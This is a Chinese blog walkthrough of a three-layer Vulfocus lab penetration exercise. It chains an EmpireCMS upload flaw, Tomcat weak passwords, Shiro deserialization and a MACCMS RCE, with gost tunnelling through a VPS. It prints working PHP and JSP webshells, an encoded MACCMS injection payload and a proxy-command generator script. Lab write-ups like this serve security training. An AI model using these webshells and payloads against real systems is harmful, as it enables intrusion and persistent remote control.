【Vulfocus解题复现】万字解析，Empire三层靶机渗透场景全流程

已于 2024-12-09 19:07:13 修改
阅读量980 收藏 18
点赞数 26
分类专栏： 网络与安全 文章标签： python 三层代理 Vulfocus Empire
于 2024-11-21 23:27:06 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_25953411/article/details/143937276
版权

前言：

（1）该靶机需要自行搭建vulfocus场景，需要购买VPS,搭建靶机过程详见参考文献1
（2）软件环境：蚁剑、MobaXterm、Brupsuit、SwitchOmega浏览器插件自行下载；反序列化利用工具、gost文件2详见参考文献。

正文：

渗透过程一览图：

在这里插入图片描述

1、渗透第一层主机

访问47.115.213.226（每人VPS分得的地址不一样），可以看到empirecms字样，搜索到这是帝国cms empirecms 文件上传漏洞3（CVE-2018-18086）
在这里插入图片描述

（1）访问帝国网站管理系统后台地址

/empirecms/e/admin/index.php

（2）通过弱口令 admin/123456 进入后台

（3）新建php文件,写入代码如下：

<?php file_put_contents("shellc.php","<?php @eval(\$_POST[cmd]); ?>");?>

其中， “\ ”为转义字符，这段代码的意思就是， 将phpshell命令写入到 shellc.php
（4）然后找到“系统——管理数据表——导入系统模型”，把刚才的代码文件传上去。

请添加图片描述

将该 shellc.php 文件重命名为shell.php.mod ，数据表名改为test1,点击马上导入
在这里插入图片描述
此时会提示“连接已重置”
在这里插入图片描述

（5）用蚁键连接测试，成功登录。
在这里插入图片描述

（6）上传 gost文件 到 tmp目录下
在这里插入图片描述
（7）通过命令chmod +x gost为执行gost文件提权
在这里插入图片描述
（8）通过命令ip addr，找到该主机192.171.10.1/24 的内网地址段，为第一层。
在这里插入图片描述
（9）利用python脚本 输出对一层主机代理的命令提示
代理提示.py如下：

#coding:utf8

n = input("请输入你要穿透的层数：")

if n == '1':
    vps_ip = input("请输入你的VPS的IP：")
    bj1_ip = input("请输入一层靶机的IP：")
    port_s = input("请输入一个起始端口：")
    i_port = int(port_s)
    cmdlist = {}
    cmdlist["bj1"] = []
    cmd1 = "./gost -L socks5://:%s"%(i_port)
    cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,vps_ip,i_port-1)
    cmdlist["bj1"].append(cmd1)
    cmdlist["bj1"].append(cmd2)
    
    cmdlist["vps"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
    cmdlist["vps"].append(cmd3)
    
    print("[1]vps的操作指令：")
    print("\t"+cmdlist["vps"][0])
    
    print("[2]一层靶机的操作指令：")
    print("\t"+cmdlist["bj1"][0])
    print("\t"+cmdlist["bj1"][1])
    
    print("[*]代理IP：%s，代理端口：%s"%(vps_ip,i_port-2))
    
if n == '2':
    vps_ip = input("请输入你的VPS的IP：")
    bj1_ip = input("请输入一层靶机的IP：")
    bj2_ip = input("请输入二层靶机的IP：")
    port_s = input("请输入一个起始端口：")
    i_port = int(port_s)
    cmdlist = {}
    cmdlist["bj2"] = []
    cmd1 = "./gost -L socks5://:%s"%(i_port)
    cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,bj1_ip,i_port-1)
    cmdlist["bj2"].append(cmd1)
    cmdlist["bj2"].append(cmd2)
    cmdlist["bj1"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
    cmd4 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-4,i_port-2,vps_ip,i_port-3)
    cmdlist["bj1"].append(cmd3)
    cmdlist["bj1"].append(cmd4)
    cmdlist["vps"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-3)
    cmdlist["vps"].append(cmd3)
    
    
    print("[1]vps的操作指令：")
    print("\t"+cmdlist["vps"][0])
    
    print("[2]一层靶机的操作指令：")
    print("\t"+cmdlist["bj1"][0])
    print("\t"+cmdlist["bj1"][1])
    
    print("[3]二层靶机的操作指令：")
    print("\t"+cmdlist["bj2"][0])
    print("\t"+cmdlist["bj2"][1])
    
    print("[*]代理IP：%s，代理端口：%s"%(vps_ip,i_port-4))

if n == '3':
    vps_ip = input("请输入你的VPS的IP：")
    bj1_ip = input("请输入一层靶机的IP：")
    bj2_ip = input("请输入二层靶机的IP：")
    bj3_ip = input("请输入三层靶机的IP：")
    port_s = input("请输入一个起始端口：")
    i_port = int(port_s)
    cmdlist = {}
    cmdlist["bj3"] = []
    cmd1 = "./gost -L socks5://:%s"%(i_port)
    cmd2 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-2,i_port,bj2_ip,i_port-1)
    cmdlist["bj3"].append(cmd1)
    cmdlist["bj3"].append(cmd2)
    cmdlist["bj2"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-1)
    cmd4 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-4,i_port-2,bj1_ip,i_port-3)
    cmdlist["bj2"].append(cmd3)
    cmdlist["bj2"].append(cmd4)
    cmdlist["bj1"] = []
    cmd5 = "./gost -L socks5://:%s?bind=true"%(i_port-3)
    cmd6 = "./gost -L rtcp://0.0.0.0:%s/localhost:%s -F socks5://%s:%s"%(i_port-6,i_port-4,vps_ip,i_port-5)
    cmdlist["bj1"].append(cmd5)
    cmdlist["bj1"].append(cmd6)
    cmdlist["vps"] = []
    cmd3 = "./gost -L socks5://:%s?bind=true"%(i_port-5)
    cmdlist["vps"].append(cmd3)

    print("[1]vps的操作指令：")
    print("\t"+cmdlist["vps"][0])
    
    print("[2]一层靶机的操作指令：")
    print("\t"+cmdlist["bj1"][0])
    print("\t"+cmdlist["bj1"][1])
    
    print("[3]二层靶机的操作指令：")
    print("\t"+cmdlist["bj2"][0])
    print("\t"+cmdlist["bj2"][1])
    
    print("[4]三层靶机的操作指令：")
    print("\t"+cmdlist["bj3"][0])
    print("\t"+cmdlist["bj3"][1])
    
    print("[*]代理IP：%s，代理端口：%s"%(vps_ip,i_port-6))

在这里插入图片描述
（10）由上图可知，通过SSH远程登陆后，在你购买的vps47.115.213.226里，粘贴【1】vps的操作命令:

在这里插入图片描述
（11）回到蚁剑连接的47.115.213.226主机中，粘贴【2】一层靶机的操作命令:
在这里插入图片描述

（12）打开谷歌浏览器，通过SwitchOmega浏览器插件新建一个代理。粘贴 上述python脚本 的最后一条。 记得点击左下角的应用选项。
在这里插入图片描述
（13）登录内网地址192.171.10.2:8080 ，登录成功 (图文不符，请忽略)

在这里插入图片描述
此时渗透阶段如下：
在这里插入图片描述

（14）通过上传fscan工具，扫描后确认192.171.10.2:8080该网站存在tomcat弱口令漏洞4

通过弱口令登录平台，账号密码均为：tomcat
在这里插入图片描述

（15）新建1.jsp文件，代码如下，其中，密码为passwd：

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

（16）将该jsp文件打成zip压缩包，然后重命名为1.war
在这里插入图片描述
（17）拖动192.171.10.2:8080页面，找到war上传区域，上传1.war木马
在这里插入图片描述

（18）蚁剑配置第一层代理
在这里插入图片描述

(19)测试连接刚才写的1.jsp脚本
在这里插入图片描述
（20）在192.171.10.2主机中执行 第一层的步骤（6）、（7）、（8） ，注意， gost文件要传入192.171.10.2主机/home目录下，传完后执行提权操作。这里发现第二层地址段192.172.20.2/24
在这里插入图片描述
（21）利用上述python脚本 ，输出渗透第二层主机命令提示。
在这里插入图片描述

2、渗透第二层主机

（1）按照上述python脚本输出的第二层代理配置提示，更新 第一层的步骤（10）、（11）
通过SSH连接的vps47.115.213.226:
在这里插入图片描述
公网主机47.115.213.226：
在这里插入图片描述第一层主机192.171.10.2配置如下：（其实是同一个主机，这个主机是个双网卡，一张卡是公网47.115.213.226、一张卡是内网192.171.10.2。方便理解，我就说成层了，python代码提示的第二层靶机的操作，其实是把公网主机当做了第一层靶机，第一层主机当做了第二层靶机，所以粘贴的时候要一一对应）：
在这里插入图片描述新建浏览器代理：
在这里插入图片描述

后面渗透第三层主机时，vps、公网主机、第一层主机、第二层主机、第三层主机、浏览器代理配置就按照上述python脚本输出提示粘贴执行即可，不再赘述。

（2）成功访问到第二层主机
在这里插入图片描述
此时渗透阶段如下：
在这里插入图片描述

（3）通过fscan扫描，发现第二层192.172.20.1:8080存在shiro反序列化利用漏洞

在这里插入图片描述
（4）我们直接利用反序列化利用工具5，需要先把代理配置好（ 该工具需要java8运行环境，记得配置环境变量，真坑 ）
在这里插入图片描述
（5）爆破密钥、爆破利用链及回显
在这里插入图片描述
（6）执行注入脚本，复制下地址，到蚁剑验证下。
在这里插入图片描述
（7）把蚁剑代理更新一下
在这里插入图片描述
（8）脚本登录成功
在这里插入图片描述
（9）上传 gost文件到192.172.20.1的/tmp目录上。给文件提权。详见第一层的操作
在这里插入图片描述

（10）在第二层192.172.20.1主机中扫描到第三层地址段10.11.10.2/24（详见第一层的操作）。

在这里插入图片描述
（11）用上述python脚本输出第三层代理配置提示在这里插入图片描述

3、渗透第三层主机

（1）这里不赘述，复制上述代码到vps、公网主机、第一层主机、第二层主机、浏览器代理中。
vps配置:
在这里插入图片描述
公网主机配置:
在这里插入图片描述
第一层主机配置：
在这里插入图片描述
第二层主机配置：
在这里插入图片描述
浏览器配置：
在这里插入图片描述
（2）成功访问到网页10.11.10.1:80上。
在这里插入图片描述

此时渗透阶段如下：
在这里插入图片描述
经过fscan扫描，确认该网站存在MACCMS 远程命令执行漏洞6（CVE-2017-17733）
（3）给Brupsuit抓包工具配置代理
在这里插入图片描述
（4）上传一句话木马payload：

wd={if-A:print(fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1)))}{endif-A}

该payload大概意为创建一个c.php文件，并写入一句话木马。
代码里还有一个字符“1”，说明我们上传payload并访问c.php文件时，前面的php当作代码执行，剩下1输出到网页中。
所以如果我们能看到字符1，那就说明上传成功，接下来用蚁剑连接即可。
为了防止服务器过滤，这段代码得通过base64编码后以POST形式发送：

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

（5）抓包，重定向，构造一句话木马payload请求头，发包，成功。
在这里插入图片描述
（6）浏览器能访问
在这里插入图片描述
（7）蚁剑配置第三层代理
在这里插入图片描述

（8）拿下第三层主机
在这里插入图片描述

参考文献

  1. 超级快速/简易的搭建vulfocus云靶场 ↩︎

  2. gost文件下载教程 ↩︎

  3. 帝国cms empirecms 文件上传漏洞（CVE-2018-18086）复现 ↩︎

  4. tomcat-pass-getshell 弱口令复现 ↩︎

  5. 【护网必备】Shiro反序列化漏洞综合利用工具增强版 ↩︎

  6. MACCMS 远程命令执行漏洞（CVE-2017-17733）复现 ↩︎

【神兵利器】——178、Empire实战指南
Fly_鹏程万里
10-16 110
PowerShsell Empire中文简称"帝国"，它是一款开源的渗透测试框架，它使用Python编写并可以在Windows、Linux和macOS等操作系统上运行，Empire框架提供了一个基于Web的GUI控制台可以方便地执行各种渗透测试任务，该框架支持多种攻击向量，包括传统的漏洞利用、社交工程、无线攻击等，可以满足不同场景下的渗透测试需求Agents：代理模块Listeners：监听模块Stagers：dlls, macros, one-liners等。
帝国Empire
MGwhhyq的博客
05-19 879
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，使用能够躲避内网检测和大部分安全防护工具的查杀，简单来说就有点类似Metasploit，是一个基于PowerShell的远程控制木马。 Empire运行在linux平台上
vulnhub EMPIRE: BREAKOUT靶机
小小猪的博客
08-30 786
/tar -cvf pass.tar /var/backups/.old_pass.bak （注：此处使用./tar 表示使用此目录的tar文件）开启了smb服务，enum4linux 192.168.226.129收集更多信息，web指纹页面收集也可以，收集到用户名。直接读取.old_pass.bak文件无法读取，但是我们可以用tar命令将其压缩在解压就可以顺利读取了。经过一番寻找之后，发现/var/backups下有个备份文件.old_pass.bak。再次查看，即可查看到root密码。...
CTF靶机 PowerShell Empire 笔记
z4yn:)的博客
08-28 424
PowerShell Empire 作为Red Primer系列的一部分，了解如何使用这个强大的开发后框架。 Nmap 扫一波端口 发现开放了个445端口，可以尝试用ms17-010 再用Nmap漏洞扫描一下 nmap --script vuln 10.10.241.65 启动MSF msfconsole use windows/smb/ms17_010eternalblue set rhosts 10.10.241.65 set payload windows/x64/meter
靶机渗透练习42-Empire Breakout
hirak0的博客
04-19 2405
靶机描述 靶机地址：https://www.vulnhub.com/entry/empire-breakout,751/ Description Difficulty: Easy This box was created to be an Easy box, but it can be Medium if you get lost. For hints discord Server ( https://discord.gg/7asvAhCEhe ) 一、搭建靶机环境 攻击机Kali： IP地址：192
Vulfocus靶场漏洞复现系列—1
tlovejr的博客
03-02 6331
文章目录 前言 一、pandas是什么？ 二、使用步骤 总结 前言 接下来会给大家介绍一些最常见的复现漏洞过程，我所用的是Vulfocus靶场，靶场安装方法已经在上一篇文章讲过，大家可以自行去观看。如果大家想及时获取最新漏洞消息，大家可以直接cnvdhttps://www.cnvd.org.cn/去查看即可，小白入门，如果在博客中有什么错误，还请各位大佬指出。 一、Drupal远程代码执行漏（CVE-2019-6340） 1、漏洞介绍 Drupal官方之前更新了一个非常关键的安全补丁，
域渗透神器Empire安装和简单使用
hl1293348082的专栏
04-09 2060
1. Empire简介 官网介绍如下： Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable
Vulnhub empire-lupinone靶机攻击实战(一)
最新发布
初学者
02-11 845
  下载压缩包之后，会看到如下的内容，我们可以在VMware中通过.ovf文件进行虚拟机的导入。   导入完成如下所示，这样就算虚拟机启动了。   搭建好项目之后，接下来就是对漏洞信息进行扫描了，如下所示。   找到靶机地址192.168.1.102，接下来就是对靶机地址进行扫描   结果如下所示。   尝试访问一下80端口，结果如下所示，没有任何有价值的东西。   接下来我们扫描一下这个服务的其他隐藏路径。   结果如下所示   我们尝试访问一下/robots.txt   尝试访问一下/~myf
渗透测试全流程
Wrop的博客
07-11 1095
本文介绍了渗透测试的全流程，包括信息收集、漏洞扫描、漏洞利用、内网转发、横向移动、权限维持、痕迹删除
empire框架2022最新版本
06-28
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。 Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在...
Empire框架2022版：Windows平台渗透测试利器
资源摘要信息:"Empire框架是专为Windows平台设计的渗透测试工具，它使用PowerShell脚本作为攻击载荷。Empire的最新版本在2022年推出，带来了一系列的改进和新功能。该框架能够生成stager，进行提权操作，并维持渗透...
后渗透测试神器Empire的详解
热门推荐
Fly_鹏程万里
06-04 1万+
1. Empire简介官网介绍如下：Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents...
Empire内网渗透工具简单使用
yangbz123的博客
04-24 2130
文章目录工具介绍下载地址功能介绍设置监听生成木马后门1、Windows launcher_bat批处理脚本木马2、Windows dll动态链接文件木马3、Windows launcher_vbs 脚本木马4、Windows powershell payload脚本上线5、Windows macro(office宏)木马6、linux bash payload脚本上线Agent上线Interact 切换agents常用参数参考文献 工具介绍 Empire是一款强大的Powershell脚本利用框架，类似于M
内网渗透之icmp隧道传输
qq_55894976的博客
08-16 1026
为什么要建立隧道在实际的网络中，通常会通过各种边界设备·软/硬件防火墙、入侵检测系统来检查对外连接的情况，如果发现异常，会对通信进行阻断。​# 什么是隧道就是一种绕过端口屏蔽的方式，防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装，然后穿过防火墙，与对方通信，当被封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应的服务器上​#常见的隧道列举如下：网络层：ipv6隧道 icmp隧道 gre隧道传输层：TCP隧道 UDP隧道 常规端口转发。
Empire（三）域内渗透
qq_56426046的博客
09-15 299
如果域内用户访问不了外部网站，我们需要登录管理员账户对浏览器属性安全进行设置，设置可信任的站点并应用，这样用户的浏览器才能访问信任的网站。
探秘Empire：一个灵活的Powershell渗透测试框架
gitblog_00007的博客
04-09 429
探秘Empire：一个灵活的Powershell渗透测试框架 Empire项目地址:https://gitcode.com/gh_mirrors/emp/Empire 是一款强大的开源Powershell渗透测试工具，旨在为红队操作和安全研究提供一个功能全面、模块化的平台。在本文中，我们将深入探讨Empire的原理、应用及其独特之处，帮助你更好地理解和利用这一工具。 项目简介 Empire是一个...
vulfocus复现：Spring Framework 远程命令执行漏洞
woai_zhongguo的博客
07-18 1411
vulfocus复现：Spring Framework 远程命令执行漏洞
靶机1 Empire:Breakout(帝国突围)
honest_gg的博客
09-09 1370
本靶机首先通过文件共享服务可以使用 enum4linux 枚举信息，在通过主页面进行信息收集，得到相关信息，登录后台getshelll，最后通过可执行文件进行提权
【vulfocus漏洞复现】Spring boot （CVE-2021_21234)
一剑开天门！的博客
03-02 5705
【vulfocus漏洞复现】Spring boot （CVE-2021_21234)
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓梦林

都看到这里了，支持一下作者呗~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值